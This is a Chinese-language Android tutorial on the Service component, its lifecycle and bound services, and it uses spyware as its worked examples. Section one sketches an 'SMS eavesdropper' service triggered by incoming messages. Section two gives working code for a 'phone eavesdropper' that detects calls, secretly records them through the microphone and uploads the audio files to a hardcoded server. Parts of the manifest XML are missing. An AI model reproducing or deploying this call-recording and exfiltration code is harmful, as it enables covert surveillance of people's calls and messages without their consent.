一、服務元件的使用步驟:(做一個簡訊竊聽器,)
1、自訂一個類:繼承android.app.Service類並覆寫一些方法:
public class MyServiceextends Service {
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generatedmethod stub
return null;
}
/**
* 服務被建立的時候 調用的方法;在該方法中將簡訊上傳到伺服器。
*/
@Override
public void onCreate(){
//注意:服務元件是在主線程中執行的。所以要開啟子線程。防止anr異常。
System.out.println("服務運行在 "+Thread.currentThread().getName());
new Thread(){
public void run() {
try {
System.out.println("準備上傳");
Thread.sleep(20000);
System.out.println("上傳資料到伺服器");
} catch(InterruptedException e) {
e.printStackTrace();
}
};
}.start();
super.onCreate();
}
}
2、在資訊清單檔中配置service組件:
<>
android:icon="@drawable/ic_launcher"
android:label="@string/app_name">
//接收簡訊的廣播接收者
android:name=".MyService"
>
3、在廣播接收者類中啟用服務元件:
public class SmsReceiverextends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent data) {
// TODO Auto-generatedmethod stub
System.out.println("簡訊到來了");
System.out.println("線程id"+Thread.currentThread().getId());
System.out.println("線程名字"+Thread.currentThread().getName());
//啟用 服務元件
Intent intent = newIntent(context,MyService.class);
context.startService(intent);
}
}
注意:服務元件是在主線程中執行的。
二、做個電話竊聽器:
1、建立一個activity 類 :介面上有一個按鈕,點擊按鈕就開始監聽電話.
public class DemoActivity extends Activity {
/** Called when the activityis first created. */
@Override
public void onCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
}
//點擊按鈕執行的方法:
public void startlisten(Viewview){
//開啟一個背景服務, 竊聽使用者的電話資訊
Intent intent = new Intent(this,SystemService.class);
startService(intent);
}
}
2、定義一個服務元件:
public class SystemServiceextends Service {
private MediaRecorder mRecorder;
private boolean isrecoding;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generatedmethod stub
return null;
}
//啟動服務的方法:
public void onCreate() {
super.onCreate();
isrecoding = false;
// 監聽系統的電話的狀態
//擷取電話管理器對象:
TelephonyManager manager=
(TelephonyManager) getSystemService(TELEPHONY_SERVICE);
// 監聽系統的電話的狀態的改變
// listen方法參數1:是PhoneStateListener對象。
// 參數2:電話的狀態 ,int類型常量。
manager.listen(
new MyListener(), PhoneStateListener.LISTEN_CALL_STATE);
}
//自訂的電話狀態監聽器類
private class MyListener extends PhoneStateListener {
File file ;
/**
* 當電話狀態發生改變的時候 調用的方法 state
* 方法參數1:是電話的狀態,狀態有: 空閑 零響 通話
參數2:incomingnumber 來電號碼
*/
public voidonCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://空閑
System.out.println("電話空閑");
//音頻資料上傳到伺服器
if(isrecoding){
mRecorder.stop();
mRecorder.release();
isrecoding = false;
// 上傳檔案的到伺服器
System.out.println("上傳檔案到伺服器");
new Thread(){
public void run() {
String path ="http://192.168.1.247:8080/web/UploadServlet";
PostMethod filePost = newPostMethod(path);
try {
Part[] parts = { newFilePart("file", file) };
filePost.setRequestEntity(newMultipartRequestEntity(parts,
filePost.getParams()));
// org.apache.commons.httpclient.HttpClientclient = new org.apache.commons.httpclient.HttpClient();
org.apache.commons.httpclient.HttpClient client = neworg.apache.commons.httpclient.HttpClient();
client.getHttpConnectionManager().getParams()
.setConnectionTimeout(5000);
int status =client.executeMethod(filePost);
System.out.println("上傳成功");
}
catch (Exception e) {
}
finally {
filePost.releaseConnection();
}
};
}.start();
}
break;
case TelephonyManager.CALL_STATE_RINGING:// 零響
System.out.println("來電號碼"+incomingNumber);
break;
case TelephonyManager.CALL_STATE_OFFHOOK: //通話狀態
System.out.println("開始通話,開啟錄音機,竊聽電話");
try {
mRecorder = newMediaRecorder();
// 設定聲音的資料來源
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 聲音的輸出格式 3gp
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
file = newFile(Environment.getExternalStorageDirectory(),
System.currentTimeMillis()+".3gp");
mRecorder.setOutputFile(file.getAbsolutePath());
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mRecorder.prepare();
mRecorder.start();
isrecoding = true;
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
break;
}
super.onCallStateChanged(state, incomingNumber);
}
}
}
三錄音機操作api:
1、使用錄音源需要在資訊清單檔中添加許可權:
//建立錄音機執行個體:
MediaRecorder mRecorder = new MediaRecorder();
// 設定聲音的資料來源,來自手機話筒
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 指定聲音的輸出格式 3gp
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
//建立當前錄音額檔案 (外部存放裝置目錄 ,檔案名稱)
file = newFile(Environment.getExternalStorageDirectory()
,System.currentTimeMillis()+".3gp");
//指定輸出檔案路徑
mRecorder.setOutputFile(file.getAbsolutePath());
//設定聲音的編碼格式
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mRecorder.prepare();//準備
mRecorder.start();//開始錄音
//停止錄音機
MRecorder.stop();
//釋放錄音機資源
mRecorder.release();
四、手機開機的廣播接收者事件:
五、服務元件的生命週期:
1、服務有兩種開啟方式:
通過startservice方式開啟。
綁定的方式開啟服務
2、通過startservice方式開啟 的生命週期:
①、服務只會被建立一次,只調用一次onCreate()方法
一旦服務被建立出來,以後再去開啟服務 就不會執行oncreate()方法,只會執行 onStart().
②、服務如果是通過startservice方式開啟的
服務和調用者沒有任何的關係,即便是調用者掛了,服務還是會在後台長期的運行.
可以用過stopservice的方法 把服務給停掉,調用onDestory()方法。
3、綁定的方式開啟服務 的生命週期:
①、使用綁定方式開啟服務,首先執行onCreate 方法 ,再執行 onBind方法,再次點擊開啟不會執行任何方法,結束服務 先執行onNnBind方法 再執行onDestory方法。
②、如果調用者掛了,服務也會跟著掛了。
六、綁定方式開啟服務:(通過綁定服務調用服務裡的方法:使用binder類做橋樑)
1、使用綁定方式開啟服務:
使用bindService()開啟服務,需要實現ServiceConnection介面,該介面中有一個onServiceConnected()回調方法,方法的第二個參數是IBinder 對象,就是服務類中onBind()方法的傳回值。當服務綁定成功的時候,會調用服務類中的onBind()方法,返回一個IBinder對象,通過IBind對象可以調用 間接服務中的其他方法:
2、、使用綁定方式開啟服務 和在關閉視圖時在activity的ondestory方法解除綁定服務:
//服務意圖
Intent serviceintent = newIntent(this,MyService.class);
//綁定方式啟動服務
//方法參數: (服務意圖,ServiceConnection子類對象,啟動模式)
bindService(serviceintent,conn, Context.BIND_AUTO_CREATE);
//ServiceConnection子類:
private class MyConnimplements ServiceConnection{
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
// 當服務被成功綁定的時候 執行的方法
System.out.println("服務被成功綁定了,我擷取到了服務返回的ibinder對象");
//擷取myBind對象:
MyService.MyBinder mybinder =(MyBinder) service;
mybinder.callMethodA();//調用內部類的方法:
}
@Override
public voidonServiceDisconnected(ComponentName name) {
// TODO Auto-generated method stub
}
}
//在activity類中的onDestory方法解除綁定:
//調用unbindService()解除綁定,參數:ServiceConnection的子類。
protected void onDestroy() {
super.onDestroy();
// 顯示的把綁定的服務給接觸綁定.
unbindService(conn);
}
//服務類:
public class MyServiceextends Service {
//綁定類:(內部類)
public class MyBinder extends Binder {
//內部類的方法中:調用服務類中的方法
public voidcallMethodA() {
MethodA();//調用服務類的方法:
}
}
@Override
public IBinder onBind(Intent intent) {
System.out.println("onbind");
return new MyBinder();//建立綁定對象。
}
public void MethodA(){
System.out.println("我是服務裡面的方法A");
}
@Override
public boolean onUnbind(Intent intent) {
System.out.println("onunbind");
returnsuper.onUnbind(intent);
}
@Override
public void onCreate() {
// TODO Auto-generatedmethod stub
System.out.println("oncreate");
super.onCreate();
}
@Override
public void onStart(Intent intent, int startId) {
// TODO Auto-generatedmethod stub
super.onStart(intent,startId);
System.out.println("onstart");
}
@Override
public void onDestroy() {
// TODO Auto-generatedmethod stub
System.out.println("ondestroy");
super.onDestroy();
}
}
②、生命週期: